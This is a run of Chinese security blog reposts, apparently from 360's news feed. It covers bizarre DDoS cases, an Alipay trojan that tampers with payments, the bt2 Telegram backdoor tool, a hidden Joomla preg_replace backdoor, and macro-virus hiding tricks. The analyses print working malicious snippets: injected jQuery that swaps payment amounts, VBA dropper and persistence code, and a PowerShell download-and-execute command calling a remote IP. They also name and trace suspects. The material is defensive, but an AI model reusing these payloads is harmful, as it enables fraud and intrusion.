那些年经历过的奇葩 DDoS 案件

一、网吧里的内鬼

2014 年 11 月,南通某网吧老板收到敲诈短信,要求向某账号汇钱,要不就发起攻击「让你网吧开不下去」。老板没当回事儿,结果当天晚上 8 点攻击开始,网吧内用户频繁掉线,网络无法正常使用。老板于是就换了个 IP 地址,结果还是被攻击。
接到报案后网警叔叔一想,换了 IP 怎么可能这么快又开始攻击,一定有「内鬼」。顺着网吧内两天均在此上网的人员记录和手机短信来源,最终抓住了犯罪嫌疑人。

二、疯狂的玩家

今年 3 月,苏州蜗牛公司一直遭受莫名奇妙的 DDoS 攻击,严重影响正常公司业务。但奇怪的是既没有人收到敲诈短信,也找不到任何的攻击目的,就这么一直被攻击着。

网警叔叔讲那些年经历过的奇葩DDoS案例

蜗牛游戏已经是国内老牌游戏厂商了

网警叔叔一想不对啊,一定是出于什么目的。这时候日志的重要性就凸显出来了,通过分析流量和采样数据,从中找到了一些攻击源。再分析攻击源最终找到了犯罪嫌疑人。
攻击原因让人哭笑不得,本来犯罪嫌疑人是蜗牛旗下游戏的一名玩家,认为自己在游戏中遭受了不公平待遇,不满的他于是发动了攻击。
这个世界还有一种软件叫「炸房器」,CF(穿越火线)玩家为了保持自己连胜战绩,一旦发现苗头不对自己要输,就是用该软件「炸房」掉线,重新联入时就不会留下失败纪录。
「炸房器」就是用 DDoS 攻击使服务器上所有用户掉线,在英雄联盟的玩家中也流传着类似软件。

三、为了姐姐

今年 6 月,镇江一个还未满 18 岁的少年的姐姐即将高考,他对姐姐说我帮你把高考系统搞瘫。姐姐没理解是什么意思就没理会,结果少年抓了 20 多个机器当肉鸡发动 DDoS 攻击,导致高考查询系统瘫痪。

网警叔叔讲那些年经历过的奇葩DDoS案例
Norse 是一个可以具象化实时查看网络攻击情况的网站

还有某私服遭受 DDoS 攻击,把域名指向江苏公安厅结果两方都被抓;对全网 IP 进行扫描寻找肉鸡设备的工作室有一份「不能扫描的 IP」文档,把国防部队等扫描会触犯法律的 IP 跳过…… 

遭遇 DDoS 怎么办?

没有无缘无故的爱也没有无缘无故的恨,就是网警叔叔办案的思路。
DDoS 攻击如何防御?需要硬件设备、宽带消耗和人力资源的支持,对于中小企业来说成本太高。网警叔叔说,最好的办法就是报案,联手打击此类犯罪。
事件发生的目的地即受害公司所在地、行为地即发起攻击组织所在地、结果地即受害公司服务器所在地,三个地点都具有管辖权——「违法所得超过 5000 元、1 万用户以上的网络持续瘫痪 1 小时、非法控制 20 台以上的计算机系统就可以立案。」

注:本文依据江苏省公安厅网安总队科长童瀛在乌云 2015 白帽子大会专业场演讲编辑整理而成。

眼见未必实之付款篡改支付宝木马分析

$
0
0
眼见未必实之付款篡改支付宝木马分析

2016-05-20 14:29:07
来源:360安全播报 作者:360天眼安全实验室

阅读:168次
点赞(0)
收藏



分享到:









眼见未必实之付款篡改支付宝木马分析
背景

人在做,天在看。

支付宝作为国内在线支付市场的老大饱受恶意代码的侵扰,黑产总在如何通过支付宝骗取钱财上发挥着聪明才智,所以相关的恶意代码一旦进入360天眼实验室的网络雷达屏幕就会立即触发响应。

熟悉网络安全、破解逆向的朋友一定对于52pojie这个网站不会感到陌生,它是我国为数不多的关注计算机安全的技术网站。本次事件发端于52pojie上的一篇名为“支付宝转3块扣1900,这是咋回事”的贴子,说了这样一个经历:楼主在网上买VPN代理想科学上网,用支付宝付款时显示3块钱,但输完支付宝验证码后却被扣了1900元。而这背后究竟发生了些什么请看360天眼实验室带来的分析。

过程分析

根据帖子中的描述,我们试着访问提及的网站hxxp://cctv168.cc/,而网友之所以找到这个网站,是通过搜索引擎搜索VPN的时候,进入钓鱼页面,然后网友下载该VPN而受骗,而现在搜索关键词“VPN”已经找不到这个站了。如图:


眼见未必实之付款篡改支付宝木马分析

在浏览器中输入网址,回车后现在看到明确的恶意网站提示:


眼见未必实之付款篡改支付宝木马分析

我们当然忽略警告继续访问,背后的网站是这个样子:


眼见未必实之付款篡改支付宝木马分析

点击“立即下载客户端”,所下载的文件现在已被360安全卫士查杀:


眼见未必实之付款篡改支付宝木马分析

帖子中的当事人很可能没能安装使用360卫士,不然几乎不可能在层层提示下还会一条道走到黑。现实是我们的可怜楼主可能真的就下载运行了恶意网站诱导的所谓VPN客户端程序,样本运行后,向用户展示界面如下界面:


眼见未必实之付款篡改支付宝木马分析

当然,只是不管你在何时以何种姿势点击连接,都会提示您会员已经过期。没办法,只有点击购物车按钮,购买会员才能使用。

在购买界面,给出的应付金额是3元,在这个黄金周的旅游景区,上个厕所都比这个贵,所以分分钟就点击了同意开通。


眼见未必实之付款篡改支付宝木马分析

事实上点击了同意开通后,样本执行了如下不为用户所知的动作:

1.访问http://463038264.lofter.com网站,读取到包括每次转账的金额(这里为每次转900元)、转账时显示的支付宝姓名(这里为长江电子商务有限公司)以及支付宝账号(lrh103272@163.com)等配置信息。


眼见未必实之付款篡改支付宝木马分析

2.带着http://www.alipay.com参数启动IEXPLORE.EXE,使用易语言(恶意代码作者的日常之选)封装的DOM类库,查找当前浏览器是不是正在进行付款操作。


眼见未必实之付款篡改支付宝木马分析

3.如果当前正在进行付款操作,根据付款的流程,修改网页的显示。

使用易语言的类成员方法(0x4040DB处),修改页面显示内容。此处方法有两个参数,参数一为“exescript”,参数二为要运行的脚本代码。将页面上显示的金额信息与付款金额填写为下图样式。至此,细心的人应该发现,软件能够帮你把金额和收款人自动填写上,当然也可以悄无声息地修改信息。


眼见未必实之付款篡改支付宝木马分析

参数二的脚本内容为:

seajs.use("jquery",function($)

{$('#reason').val('USERvpn111 MCZ2016254525');

$('#ipt-search-key').val('lrh103272@163.com');

vara1=$('#amount').clone();

$('#amount').css('display','none');

$('#amunt').val('900');a1.val('3');

a1.attr('id','amount1');

a1.removeAttr('name');

a1.insertAfter($('label[for="amount"]'));

}

);


眼见未必实之付款篡改支付宝木马分析

4.在上一步的操作中,支付宝实际支付的金额已经被修改成了900元,只不是因为软件作者通过脚本将显示的数字改成3元。在支付宝付款过程中,单击下一步后,正常的页面应该是这样的:


眼见未必实之付款篡改支付宝木马分析

而在软件的帮忙下通过0x4046D6处函数的调用将页面做了瞒天过海式的修改:

一、将付款金额改成3元,

二、将收款人修改成"长江电子商务有限公司",在短短不到一秒钟的时间里,让人眼不见心不烦,提升了购物体验。


眼见未必实之付款篡改支付宝木马分析

修改页面的代码:


眼见未必实之付款篡改支付宝木马分析

5.在付款的最后一步,使用与第四步同样的障眼手法。被修改之前:


眼见未必实之付款篡改支付宝木马分析

眼见未必实之付款篡改支付宝木马分析

修改后:


眼见未必实之付款篡改支付宝木马分析

6.最后,真实的交易数据被发送到服务器。事已至此,虽然肉眼已经无法再辨别出网页显示其实已经被篡改过,但从网络流量中发出的付款金额为900元。


眼见未必实之付款篡改支付宝木马分析

此时,看起来只支持了3元的一次完整购买过程就结束了。待事后事主看支付宝日志记录,才会发现转出的是900元,而不是3元。而这时,木马作者极可能正拿着这些钱吃着火锅唱着歌,还把着妹……

木马溯源

木马使用易语言编写,原理也并不复杂,技术方面没有太多值得细讲的地方。我们关心的是这种盗钱木马出自谁手?又经谁手进入网络?依赖360威胁情报中心的数据,追查其幕后黑手却也并不是什么难事,接着往下看。

样本中的配置文件来自于http://463038264.lofter.com网站,网页上出现了两个可疑的号码,463038264和2953766158,确认两个号码是QQ号。


眼见未必实之付款篡改支付宝木马分析

在QQ签名信息是“1元1000钻石充值地址:http://dwz.cn/34thJj (下载前关闭杀毒),活动仅限于4月9号晚12点,明天恢复正常价格!”,访问http://dwz.cn/34thJj,得到一批同源样本:


眼见未必实之付款篡改支付宝木马分析

通过特征从360样本库中找到一些同源样本,发现木马作者有好多种骗钱的程序,整理后如图:


眼见未必实之付款篡改支付宝木马分析

通过对同源样本的挖掘和网上某社工库的查询,发现该团伙如下:牧马人A和开发人员B。

一、牧马人A:

牧马人A是实际操作诈骗的人。根据配置网页中提供的号码为2053766158,如图为该QQ的个人资料页:


眼见未必实之付款篡改支付宝木马分析

通过搜索该QQ号,可以确定这个QQ号属于木马使用者,这是网友李安在5月14日发的被诈骗的信息:


眼见未必实之付款篡改支付宝木马分析

通过对该QQ和同源样本的挖掘找到了该QQ作者的大号:258****:


眼见未必实之付款篡改支付宝木马分析

而且,还有一名徒弟的出场客串:


眼见未必实之付款篡改支付宝木马分析

该帅哥的价值观严重扭曲:


眼见未必实之付款篡改支付宝木马分析

同时,通过样本又关联到该木马作者的两外要给另外一配置文件地址:

http://yanhuaxiang396.lofter.com/


眼见未必实之付款篡改支付宝木马分析

有深入挖掘,发现他们开了一家公司:扬州**电子商务有限公司,这公司当然做SEO非常牛逼,因为是电子商务公司,而A有可能是公司的一个员工,在干私活,通过学到的SEO技术去做优化,把自己的VPN钓鱼站拍到搜索引擎前面。


眼见未必实之付款篡改支付宝木马分析

二、开发人员B:

开发人员B是诈骗软件开发的人,同时还是一个定制开发易语言程序的,他的QQ为12077*****:


眼见未必实之付款篡改支付宝木马分析

然后从QQ的个人说明中,找到了他家的店铺:


眼见未必实之付款篡改支付宝木马分析

眼见未必实之付款篡改支付宝木马分析

根据他阿里旺旺的信息,找到了另外的一个QQ:10092*****


眼见未必实之付款篡改支付宝木马分析

通过对该QQ小号的关联,发现了他的大号4470*****,从资料上看是一个从事互联网行业的人,吉林的,从群关系数据库可以看出他学习易语言和开发外挂已经很久了:


眼见未必实之付款篡改支付宝木马分析

通过查询群关系数据库,


眼见未必实之付款篡改支付宝木马分析

通过搜索引擎搜索该QQ,找到了作者的手机、邮箱和真名,如图:


眼见未必实之付款篡改支付宝木马分析

这是整个团伙的分工图:


眼见未必实之付款篡改支付宝木马分析

此外,作者充值业务广泛,包含但不限于以下业务:


眼见未必实之付款篡改支付宝木马分析

眼见未必实之付款篡改支付宝木马分析

眼见未必实之付款篡改支付宝木马分析

眼见未必实之付款篡改支付宝木马分析

小结

木马作者使用的手段并不新奇,如果当时能够不轻信,如果当时能够不关杀软……但是没有如果。不夸张地说,现今的网络处处遍布陷井,保持安全软件的实时防护状态并及时安装漏洞补丁,才有可能在这魔鬼出没的世界中避免遭受欺诈和数字绑票。但是,武装到牙齿就够了吗?很多时候人总是带着侥幸的心理,人性的弱点最难以克服,no patch to stupid,再强大的安全工具在哪怕不那么高明的社工面前也往往一触即溃。控制好奇心,抵制贪婪,遏制恐惧,这些是一生的修行。

顺祝各位看官520表白成功!

本文由 360安全播报 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/2876.html

将Telegram打造成C&C平台

$
0
0
将Telegram打造成C&C平台

2016-05-23 13:07:33
来源:360安全播报 作者:Mickeyyyyy

阅读:53次
点赞(0)
收藏



分享到:









将Telegram打造成C&C平台

Blaze安全公司的安全研究专家们长久以来一直都在致力于研发新型的安全技术来提升安全防护工具的性能。正如每一位渗透测试人员所熟知的那样,如果要成功完成入侵,并对目标网络进行更进一步地渗透,那么Post-Exploitation就是其中非常关键的一个步骤。而且如果渗透测试人员需要在目标组织的网络系统中站稳脚跟,那么Post-Exploitation工具的地位就更加的明显了。

因此,我们的安全研究专家们开发出了Blaze Telegram Backdoor Tool,即bt2-Blaze Telegram后门工具。这一工具是Post-Exploitation工具的概念验证实例,它是一个后门程序,其控制网络主要由Telegram机器人所组成(Telegram是一个跨平台的实时通信软件,它是一款开源软件)。

命令和控制(在本文中简称为C&C)有着多种不同的形式,而且不同人员所研发出来的命令控制方式也有很大的不同。在此之前,当目标系统与主控制服务器之间需要建立通信链接时,早期的C&C基础设施使用的是IRC协议。而且在21世纪初,很多僵尸网络也是使用这样的设置方式来进行通信链接的建立的,因为当时IRC协议是非常流行的。

在此之前,也曾有攻击者利用热门的在线服务来对目标进行过攻击,而且在安全研究人员分析之后认为,这种情况在将来肯定还会再次发生。

基于社交网络的C&C僵尸网络已经不是一种新型概念了,至少从2009年开始,威胁检测专家们就已经在推特等大型社交平台中发现并记录下了这种恶意后门。

bt2是一个采用python编程语言进行开发的后门程序,它使用了Telegram的基础设施以及功能丰富的bot API(应用程序编程接口)。以这种聊天机器人为基础,它可以将这一通信服务平台打造成为一种C&C平台。

bt2的功能非常丰富,它可以提供类似后门工具的功能,例如命令执行,利用shell命令来与目标主机进行通信,下载或上传文件,而且它还提供了一个可供用户加载并执行shellcode代码的组件。

由于这一概念验证工具是采用Python编程语言进行开发的,所以它是可以跨平台使用的。但是值得注意的是,该工具的shellcode执行组件只能够在windows操作系统平台中使用。

Telegram网络中的机器人会等待主服务器传递过来的控制命令。主控制器可以利用任何一个Telegram客户端来控制这些机器人。无论是桌面客户端,命令行工具,还是移动客户端,当它们对目标执行Post-Exploitation操作时,这种特性将会为攻击者提供无与伦比的灵活性。

我们之所以会选择使用Telegram,是因为其知名度正在不断上升,而且该网络服务的基础设施也非常的稳定可靠。而且还有一点是非常重要的,它所使用的通信协议是标准的HTTPS协议,所以当我们需要绕过企业网络的过滤设备时,它就能给我们提供非常大的帮助了。

为了保持之前所提到的灵活性,bt2并没有对客户端和服务器之间的通信链接进行加密。虽然这种加密实现起来并没有什么困难,我们只需要在Telegram客户端之中构建一个加密的通信信道就可以了,但是这一功能并不是该工具目前所要处理的问题。

大家可以在Blaze的Github主页中获取到这一工具。

免责声明:bt2仅仅是一款概念验证工具,我们绝非有意违反Telegram的有关条款和服务条例。除此之外,我们只允许这款工具使用与合法的渗透测试活动中,无论是该工具的开发人员还是Blaze信息安全公司的工作人员,都不可以将这款工具用于恶意活动之中。

工具的使用方法

在安装好工具之后,我们需要创建一个机器人程序(这一操作步骤在此不进行赘述,如果有疑问的话,可以点击这里来获取相关信息)。设置完成之后,我们所要做的就是与这个机器人程序发起会话。

在输入了”/help”命令之后,程序会给用户提供一个命令帮助列表,用户可以通过列表中的信息了解该工具的大致使用方法:


将Telegram打造成C&C平台

你可以在下图中看到该工具的运行情况,我们可以利用该工具提供的功能来获取到目标系统的信息,执行命令,并下载文件:


将Telegram打造成C&C平台

除了机器人程序之外,Github代码库中还包含有一个脚本程序,该脚本可以帮助渗透测试人员生成可供该工具执行的shellcode代码。从本质上来说,我们可以从Metasploit框架中复制出我们的shellcode代码,然后将其粘贴至该工具中,bt2会自动将其转换为base64的编码格式。操作完成之后,bt2便会执行这些功能代码。


将Telegram打造成C&C平台

将Telegram打造成C&C平台

与其它的同类软件相比,这款工具还不算完美,而且目前我们也在该工具中发现了几个漏洞。我们欢迎对此项目感兴趣的开发者们贡献自己的一份力量,如果你对该项目感兴趣的话,请关注我们的Github,fork该项目。还有,别忘了pull request你们的代码噢!

结论

我们希望在这篇文章中所提到的渗透测试工具和一些安全方面的观点能够为广大信息安全从业人员提供一定的帮助。

本文由 360安全播报 翻译,转载请注明“转自360安全播报”,并附上链接。
原文链接:https://blog.blazeinfosec.com/bt2-leveraging-telegram-as-a-command-control-platform/

隐藏在joomla核心文件database.php 中的preg_replace /e 后门

$
0
0
隐藏在joomla核心文件database.php 中的preg_replace /e 后门

2016-05-23 18:19:40
来源:360安全播报 作者:默白

阅读:84次
点赞(0)
收藏



分享到:








我们通常会在Sucuri Labs或是在博客上写下很多模糊处理方法。有时候也会写一些免费的工具来处理并不免费的代码,我们还有一个在线工具用来帮助用户解码恶意软件。但有些时候我们不清楚恶意软件到底是使用base64、gzinflate、十六进制编码字符串、字符串旋转还是其他常见功能进行加密的。就像是我们今天将会介绍的案例,利用隐藏在joomla核心文件中的后门管理数据库输入。

我们的工具触发了客户端的一个站点结构异常: /includes/joomla/database/database.php ,其中包含了一个转换成 preg_replace的十六进制编码字符串。

这为什么会是反常现象呢?让我来解释一下:

· /includes/joomla/database/database.php 并不是Joomla 2.5.8 的一部分(这是在客户端站点运行的一个过时版本)。

· Joomla核心文件不使用这种编码方法。

如果这是一个由客户端创建来管理Joomla数据库的有效文件,那又是什么样子的呢?这种情况是可能的,我见过太多的CMS核心文件由于客户需求遭到修改,所以最好的办法就是首先核查一下。


隐藏在joomla核心文件database.php 中的preg_replace /e 后门

前几行和常见的Joomla核心文件没有差别。精彩的评论,getlnstance函数等等。但是之后就有些怪异了。所有的变量都被过度缩进来存储其他变量,这是一种函数吗?这时候就发现问题了。

功能形式

上下查找之后我发现了一些其他函数、变量、十六进制编码字符串和一个非常奇怪的串联:


隐藏在joomla核心文件database.php 中的preg_replace /e 后门

我想到的第一件事就是检查它的输出。可能恶意软件就以某种形式藏在那里,基于变量内容,它会存储数据库内容。但是……


隐藏在joomla核心文件database.php 中的preg_replace /e 后门

串联在一起只是为了转移注意力,目的是不想让分析师继续深究其中内涵。但是现在还不是时候,除了研究这份疯狂的db代码之外,我还有更重要的事情要做。也许之后我会再回头研究这份代码,这要看它是否还会被用在其他地方。所以现在先留着它然后继续探究吧。

深入调查之后,我发现了这个:


隐藏在joomla核心文件database.php 中的preg_replace /e 后门

最后进行Deobfuscated病毒扫描

我们看到 $new_stats 由存储在另一变量的函数命名。这样好理解吗?让我们换一种方法来解释:


隐藏在joomla核心文件database.php 中的preg_replace /e 后门

首先我们看到了一个新的变量:$_state。我将它从另一部分代码中移除,这样可以更清楚地看到到底发生了什么。

还记得我说过的常用于模糊处理恶意软件的各种函数吗?是的,这个恶意软件编写者几乎在每一行代码中都使用了那些函数!

这些代码可以获取HTTP_SCHEME 服务器变量内容并且稍作处理,以备后用。这个服务器未在默认情况下登陆,或者使用了模板并且存储空间巨大,又或者是只保存最近登录记录。

下一步,获取 $_validate 创建的数组,并且使用strtr函数进行 $new_stats 转换。因为我们没有通过 HTTP_SCHEME发送的数组,所以我们也很难说,到底 $new_stats 内容就是之后在preg_replace 执行的恶意代码,还是说有一个全新的代码完全覆盖了变量内容。我希望它是存储在变量中的,那样事情就会变得容易得多。

正如我前文所讲,最后一行代码是用来执行base64解码内容的转换。

Preg_replace的e注记

在 Preg_replace 正则表达式中使用的修饰e基于PHP7.0.0(谢谢你!)将会被删除,为了方便查阅,这里摘抄了php.net手册的相关内容:

如果设置了已否决的修饰符,Preg_replace 会在替换字符中做出常规反应,将它评定为PHP代码,然后用结果替换搜索字符串。单引号、双引号、反斜杠和NULL字符会由反向引用的反斜杠代替。

发现问题了吗?这是我们修复团队清理受害网站时每天都在寻找的函数。

结论

日常的恶意软件越来越难被发现。攻击者们将恶意软件存储在数据库里,进行加密,甚至将它编码成核心文件的样子。现在是时候为自己的网站进行了此健康检查了,看看是否有被添加或是被修改的文件,像一个强迫症一样细致一点吧。

本文由 360安全播报 翻译,转载请注明“转自360安全播报”,并附上链接。
原文链接:https://blog.sucuri.net/2016/05/unexpected-backdoor-fake-core-files.html

技术揭秘:宏病毒代码三大隐身术

$
0
0
技术揭秘:宏病毒代码三大隐身术

2016-05-23 19:25:10
来源:360安全播报 作者:360安全卫士

阅读:301次
点赞(0)
收藏



分享到:








作为一类古老的病毒,宏病毒随着勒索软件的兴起而卷土重来。尤其是在2016年,以Locky为代表的勒索软件利用Office宏肆虐传播,宏病毒也成为目前最活跃的病毒品种之一。

在与安全软件的对抗中,宏病毒使用了多种手段隐藏其恶意代码或数据,近期出现的新变种则是利用Excel表格的函数动态生成PE文件数据、设置远距离存放位置、隐藏显示、不同表切换等方式进行隐藏。接下来,360QEX引擎团队将对宏病毒代码流行的三类“隐身术”进行逐一揭秘。

0x01 Excel表格隐藏数据

样本文件md5: 48f202f903741e7a1722bfa6b4c051aa.xls

sha256: 083a05000c4b8e9a88a0ff8a95a3d9826dd389b440bb1781237ca124b0d986a7

virustotal 扫描结果:


技术揭秘:宏病毒代码三大隐身术

样本对自身 VBAProject 进行了加密,


技术揭秘:宏病毒代码三大隐身术

破解之后,看到了宏代码执行入口函数 Auto_Open,

SubAuto_Open() OnErrorResumeNext Application.DisplayAlerts=False DimWBAsWorkbook SetWB=ActiveWorkbook DimSh1,Sh2,sh3AsWorksheet SetSh1=WB.Sheets(1) SetSh2=WB.Sheets(2) Setsh3=WB.Sheets(3) DimstrAsString str=Sh2.Cells(996,40) DimtAsDate t=Now+TimeSerial(0,0,1) Application.OnTimet,str EndSub

病毒作者使用 Application.OnTime 函数,间隔 1 秒,执行 字符串 “str” ,”str” 的值是从表格 Cells(996, 40) 中获取,当去查看表格中该处值时发现病毒更改了Excel单元格格式

,把数据隐藏显示。

单元格格式设置为三个 ;;; 时,单元格内容就会被隐藏。


技术揭秘:宏病毒代码三大隐身术

单元格的格式默认是显示的,初始设置为,


技术揭秘:宏病毒代码三大隐身术

去掉隐藏后,查看表格中该值是 Fnslr12 , 即病毒的功能入口函数名称,函数代码为,

SubFnslr12() OnErrorResumeNext Application.DisplayAlerts=False CallBuild Sheets(1).Select DimWBAsWorkbook SetWB=ActiveWorkbook DimSh1,Sh2,sh3AsWorksheet SetSh1=WB.Sheets(1) SetSh2=WB.Sheets(2) IfCells(2,1)<>""Then GoToskyhigh EndIf

''' 以下省略

因此,该函数为病毒代码的主功能函数。

此函数的功能有,

1、

Call Build

调用 Build 函数, Build 函数功能为:在表格中动态生成,待写入 可执行文件(pe文件)所需的数据,其功能代码简略如下,

SubBuild() Sheets(2).Select SetWB=ActiveWorkbook SetSh1=WB.Sheets(1) SetSh2=WB.Sheets(2) 'boblocation i=Sh2.Cells(1000,12) j=Sh2.Cells(1000,13) 'indextablelocation R=Sh2.Cells(1000,10) C=Sh2.Cells(1000,11) Counter=R DoWhileSh2.Cells(Counter,C)<>"" IfSh2.Cells(Counter,C+1)<>""Then S1=Sh2.Cells(Counter,C) S2=Sh2.Cells(Counter,C+1) EndIf Counter=Counter+1 Loop Cells(i,j).Select Range(Selection,Selection.End(xlDown)).Select Selection.Cut Range("i1001").Select ActiveSheet.Paste Cells(1,1).Select EndSub

函数运行结果为,在 1001 行往下,依次每行填入数据。


技术揭秘:宏病毒代码三大隐身术

2、对是否运行过一次做检查,

IfCells(2,1)<>""Then GoToskyhigh EndIf

当运行过一次之后, Cells(2,1) 表格会被写入值,会在这里进入语句 Then ,执行 “Goto skyhigh” 语句, “skyhigh” 标记定位在函数尾部,即执行该语句后会退出该函数。

3、从代码意图猜测,病毒作者想在 %userprofile% \AppData\Roaming\Microsoft\Templates 生成一个名为Macro1.vbs 的vbs文件 ,

DimFnslr1AsString DimFnslr2AsString Fnslr2=Environ(Sh2.Cells(998,40))&"\AppData\Roaming\Microsoft\Templates\Macro1.vbs" ChDrive(Fnslr2) IfDir(Fnslr2)=""Then Else EndIf

其中,病毒拼凑生成文件的目录路径时,从表格 2 的Cells(998, 40) 中读取 ,该值为环境变量值 userprofile.


技术揭秘:宏病毒代码三大隐身术

只是,病毒作者并没有继续完善相关代码。实际测试运行样本也并没有生成该文件,猜测可能作者后续加入该功能,或者该功能已经被取消。

4、在 %serprofile% \AppData\Roaming\Microsoft\Templates 目录生成可执行文件 Macro1.exe,

DimiAsDouble i=1000 Fnslr1="Macro1.exe" Fnslr2=Environ(Sh2.Cells(998,40))&"\AppData\Roaming\Microsoft\Templates" Fnslr3=FreeFile() OpenFnslr1ForBinaryAsFnslr3 DoWhileSh2.Cells(i,9)<>"" Fnslr11=Sh2.Cells(i,9) If(Fnslr9=True)Then Fnslr8=1 DoWhile(Fnslr8<Len(Fnslr11)) Fnslr6=Sh2.Cells(997,40)&Mid(Fnslr11,Fnslr8,3) Put#Fnslr3,,Fnslr6 Fnslr8=Fnslr8+3 Loop EndIf IfFnslr9=FalseThen Fnslr9=True EndIf i=i+1 Loop Close#Fnslr3 DimFnslr10AsString Fnslr10=Fnslr1 Fnslr7=Shell(Fnslr10,vbHide)

写入 Macro1.exe 所需的数据,从 Excel 表格中 Cells(997, 40) 周围读取,实际测试数据开始位置是 1001行,


技术揭秘:宏病毒代码三大隐身术

代码尾部使用 Shell 函数,启动生成的 Macro1.exe 。

文件信息


技术揭秘:宏病毒代码三大隐身术

可执行文件是 x64位的,功能是,启动 powershell 附带 –enc 参数,执行一段 shellcode ,这段 shellcode是一个 reverse shell ,连接黑客服务器,等待下达命令。

此部分与下面创建计划任务不间断运行的功能呼应起来,此部分不是本文重点,不再详述。

5、在 %serprofile% \AppData\Roaming\Microsoft\Templates 目录生成 bat (cmd) 批处理脚本文件 Macro1.bat,

Fnslr2=Environ(Sh2.Cells(998,40))&"\AppData\Roaming\Microsoft\Templates" DimUserAsString User=Environ(Sh2.Cells(998,40)) Fname=Fnslr2&"\Macro1.bat" FNum=FreeFile OpenFnameForOutputAccessWriteAs#FNum WholeLine="SchTasks/Create/SCHOURLY/TN"&Sh2.Cells(1000,3)&"Macro1"&Sh2.Cells(1000,3)&"/TR"&""&User&"\AppData\Roaming\Microsoft\Templates"&"\Macro1.exe/ST01:00" Print#FNum,WholeLine Close#FNum DimTempFileNameAsString TempFileName=Fnslr2&"\Macro1.bat" ShellTempFileName,vbHide

尾部使用 Shell 函数 启动该脚本,结果是在用户机器创建了一个计划任务, 每隔一小时运行一次 上面生成的 Macro1.exe 。


技术揭秘:宏病毒代码三大隐身术

6、弹窗显示输入密码才能继续进行运行,

pword=InputBox("Pleaseenterapasswordtoproceed","PasswordRequired","*******") SelectCasepword CaseIs="" MsgBox"TryAgain" Case"Alon2016" RP=1 CaseIs<>"Alon2016" MsgBox"TryAgain" EndSelect

技术揭秘:宏病毒代码三大隐身术

从病毒代码中知道,要求输入的密码是 “Alon2016” 。

7、接下来是现场清理和掩饰,删除调用Build 函数在表格生成的数据,在表格的开头显著位置填入在其他表格中保存的邮件收件人地址信息,


技术揭秘:宏病毒代码三大隐身术

小结:该样本的特别之处有,1、PE文件数据是使用函数动态生成,2、数据存放在Excel表格中,使用隐藏显示,3、数据存放位置很远,不容易被看到,4、病毒在不同的excel表中切换,给分析人员调试VBA代码增加困难,5,病毒运行完毕,清理现场,显示邮件地址列表,掩饰自身。

0x02 VBA User Form隐藏代码

此类病毒把部分代码隐藏到 VBA 工程中的 用户控件(User Form)中,甚至把带有代码的控件最小化,使之不易被看到。

样本文件md5:9266db6c7772f6c45411ff3a591b1374

sha256 : 9d11f2d2f0e0e5fd8a2ef552a5521920767d7939881443435296d0c600e4a71a

virustotal 扫描结果:


技术揭秘:宏病毒代码三大隐身术

查看该文件的宏,


技术揭秘:宏病毒代码三大隐身术

此文件看起来像是正常的SQL操作类的宏代码,但是当我们查看窗体 Ultra 时发现,


技术揭秘:宏病毒代码三大隐身术

有个控件的Caption中存放了可疑数据如下,

D!icrobrioft.XD!LHTTP10)Adodb.britr00aD!10)brih00ll.Application10)Wbricript.brih00ll10)Proc00bribri10)G00T10)T00D!P10)Typ0010)op00n10)writ0010)r00briponbri00Body10)briav00tofil0010)\hendib00.00x00

此数据在宏代码中被使用的位置为,

CadenaCurrency(Ultra.CommandButton3.Caption,"00","e") 其中,CadenaCurrency是一个简单的Replace调用, PublicFunctionCadenaCurrency(A1AsString,A2AsString,A3AsString)AsString CadenaCurrency=Replace(A1,A2,A3) EndFunction

解密方法是,

DimaproblemsAsString aproblems=CadenaCurrency(Ultra.CommandButton3.Caption,"00","e") aproblems=CadenaCurrency(aproblems,"D!","M") aproblems=CadenaCurrency(aproblems,"bri","s") constans_problems=Split(aproblems,"10)")

解密为,

Microsoft.XMLHTTP Adodb.stream shell.Application Wscript.shell Process GeT Temp Type open write responseBody savetofile \hendibe.exe

几个字符串呈现出非常明显的意图,下载(Microsoft.XMLHTTP)+ 写文件(Adodb.stream)+ 执行(shell.Application / Wscript.shell)。

此样本因为代码有问题,没能成功运行起来。找到宏代码中使用 Microsoft.XMLHTTP 对象下载文件的位置,加上断点调试,起先因为作者疏忽,忘记书写一个双引号,导致编译失败,


技术揭秘:宏病毒代码三大隐身术

之后,运行到下载文件处时,出现了报错。


技术揭秘:宏病毒代码三大隐身术

0x03文档内建属性隐藏代码

此类病毒把代码核心恶意部分放入文档的内建属性中。

样本文件md5:0ce81eda6b6886163cf5dadffecc0df9

sha256: 23d07a51f7a14a95a1efc55ad3f18cd5a71607156cd325256d43f0b68cfb62cd

virustotal 扫描结果:


技术揭秘:宏病毒代码三大隐身术

此样本的vba 宏代码只有1个文件,很简短,

AttributeVB_Name="NewMacros" SubAuto_Open() Callwinshell EndSub SubAutoOpen() Callwinshell EndSub Functionwinshell()AsObject OnErrorResumeNext Err.Clear DimpsAsString ps=ActiveDocument.BuiltInDocumentProperties("Manager").Value DimObjAsObject SetObj=CreateObject("WScript.Shell") Obj.Runps,0 Application.DisplayAlerts=False EndFunction

响应两个文档打开事件,AutoOpen 与Auto_Open,直接执行 winshell函数, winshell函数读取文件内建属性,Manager 的值,直接执行起来。Manager值,我们使用右键文件属性,查看为,


技术揭秘:宏病毒代码三大隐身术
powershell.exe -nop -w hidden -c $b=new-object net.webclient;$b.proxy=[Net.WebRequest]::GetSystemWebProxy();$b.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $b.downloadstring('http://37.28.154.204:8081/ygklKbyIVG51Kol');

是一段 Powershell 执行的脚本代码,从指定 URL (http://37.28.154.204:8081/ygklKbyIVG51Kol) 下载文件。目前测试此URL已经无法访问。

0x04 总结

以加密勒索为代表的病毒,越来越多的使用Office宏,js,vbs等非Pe文件来传播。通过脚本代码动态向windows 目录中释放可执行文件或者从服务器下载可执行文件。

非PE病毒查杀引擎QEX是 360安全产品中负责查杀宏病毒及vbs、js、html等脚本病毒的独有引擎。上述样本QEX引擎均已查杀。

在这里也提醒 Microsoft Office 文档系列软件的使用用户,

1、如日常无使用宏的需求,请禁用 Office 宏,禁用方式参考 https://support.office.com/zh-cn/article/%E5%90%AF%E7%94%A8%E6%88%96%E7%A6%81%E7%94%A8-Office-%E6%96%87%E6%A1%A3%E4%B8%AD%E7%9A%84%E5%AE%8F-7b4fdd2e-174f-47e2-9611-9efe4f860b12

2、对于经常使用宏工作的用户,请安装安全软件,定期更新病毒库,对于他人发送的文档,在打开之前请先扫描。

0x05 Reference

